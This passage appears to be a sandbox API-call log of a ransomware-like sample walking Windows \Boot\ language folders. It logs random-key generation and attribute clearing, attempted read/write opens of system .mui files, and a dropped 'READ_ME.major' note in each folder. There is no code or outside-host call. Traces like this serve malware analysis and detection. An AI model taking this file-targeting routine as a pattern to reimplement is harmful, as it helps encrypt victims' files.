ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.580] GetLastError () returned 0x5 [0143.580] SetLastError (dwErrCode=0x5) [0143.580] GetLastError () returned 0x5 [0143.580] SetLastError (dwErrCode=0x5) [0143.580] GetLastError () returned 0x5 [0143.580] SetLastError (dwErrCode=0x5) [0143.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.580] FindNextFileW (in: hFindFile=0x60f2a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0143.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.580] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.580] SetFileAttributesW (lpFileName="\\Boot\\pl-PL\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0143.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.580] CreateFileW (lpFileName="\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.580] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.581] SetFileAttributesW (lpFileName="\\Boot\\pl-PL\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.581] CreateFileW (lpFileName="\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.581] FindFirstFileW (in: lpFileName="\\Boot\\pt-BR\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f6a8 [0143.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.581] GetLastError () returned 0x5 [0143.581] SetLastError (dwErrCode=0x5) [0143.581] GetLastError () returned 0x5 [0143.581] SetLastError (dwErrCode=0x5) [0143.581] GetLastError () returned 0x5 [0143.581] SetLastError (dwErrCode=0x5) [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f128 [0143.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f128 | out: hHeap=0x570000) returned 1 [0143.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0143.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0143.582] FindNextFileW (in: hFindFile=0x60f6a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.582] GetLastError () returned 0x5 [0143.582] SetLastError (dwErrCode=0x5) [0143.582] GetLastError () returned 0x5 [0143.582] SetLastError (dwErrCode=0x5) [0143.582] GetLastError () returned 0x5 [0143.582] SetLastError (dwErrCode=0x5) [0143.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0143.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0143.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f128 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f128 | out: hHeap=0x570000) returned 1 [0143.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0143.582] FindNextFileW (in: hFindFile=0x60f6a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0143.582] GetLastError () returned 0x5 [0143.582] SetLastError (dwErrCode=0x5) [0143.582] GetLastError () returned 0x5 [0143.582] SetLastError (dwErrCode=0x5) [0143.582] GetLastError () returned 0x5 [0143.582] SetLastError (dwErrCode=0x5) [0143.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.583] FindNextFileW (in: hFindFile=0x60f6a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0143.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.583] GetLastError () returned 0x5 [0143.583] SetLastError (dwErrCode=0x5) [0143.583] GetLastError () returned 0x5 [0143.583] SetLastError (dwErrCode=0x5) [0143.583] GetLastError () returned 0x5 [0143.583] SetLastError (dwErrCode=0x5) [0143.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.583] FindNextFileW (in: hFindFile=0x60f6a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.583] GetLastError () returned 0x5 [0143.583] SetLastError (dwErrCode=0x5) [0143.583] GetLastError () returned 0x5 [0143.583] SetLastError (dwErrCode=0x5) [0143.583] GetLastError () returned 0x5 [0143.583] SetLastError (dwErrCode=0x5) [0143.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.583] FindNextFileW (in: hFindFile=0x60f6a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.584] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.584] SetFileAttributesW (lpFileName="\\Boot\\pt-BR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0143.584] CreateFileW (lpFileName="\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.584] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.584] SetFileAttributesW (lpFileName="\\Boot\\pt-BR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0143.584] CreateFileW (lpFileName="\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.584] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e598 | out: hHeap=0x570000) returned 1 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e250 | out: hHeap=0x570000) returned 1 [0143.585] FindFirstFileW (in: lpFileName="\\Boot\\pt-PT\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f368 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0143.585] GetLastError () returned 0x5 [0143.585] SetLastError (dwErrCode=0x5) [0143.585] GetLastError () returned 0x5 [0143.585] SetLastError (dwErrCode=0x5) [0143.585] GetLastError () returned 0x5 [0143.585] SetLastError (dwErrCode=0x5) [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f528 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f528 | out: hHeap=0x570000) returned 1 [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0143.585] FindNextFileW (in: hFindFile=0x60f368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.585] GetLastError () returned 0x5 [0143.585] SetLastError (dwErrCode=0x5) [0143.585] GetLastError () returned 0x5 [0143.585] SetLastError (dwErrCode=0x5) [0143.585] GetLastError () returned 0x5 [0143.585] SetLastError (dwErrCode=0x5) [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0143.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0143.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0143.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f3e8 [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f3e8 | out: hHeap=0x570000) returned 1 [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x60f368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x60f368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x60f368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] GetLastError () returned 0x5 [0143.586] SetLastError (dwErrCode=0x5) [0143.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.586] FindNextFileW (in: hFindFile=0x60f368, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.586] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.587] SetFileAttributesW (lpFileName="\\Boot\\pt-PT\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.587] CreateFileW (lpFileName="\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.587] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.587] SetFileAttributesW (lpFileName="\\Boot\\pt-PT\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.587] CreateFileW (lpFileName="\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e430 | out: hHeap=0x570000) returned 1 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e160 | out: hHeap=0x570000) returned 1 [0143.587] FindFirstFileW (in: lpFileName="\\Boot\\qps-ploc\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8158797, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f528 [0143.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.588] GetLastError () returned 0x5 [0143.588] SetLastError (dwErrCode=0x5) [0143.588] GetLastError () returned 0x5 [0143.588] SetLastError (dwErrCode=0x5) [0143.588] GetLastError () returned 0x5 [0143.588] SetLastError (dwErrCode=0x5) [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0143.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.588] HeapFree (in: hHeap=0x570000, 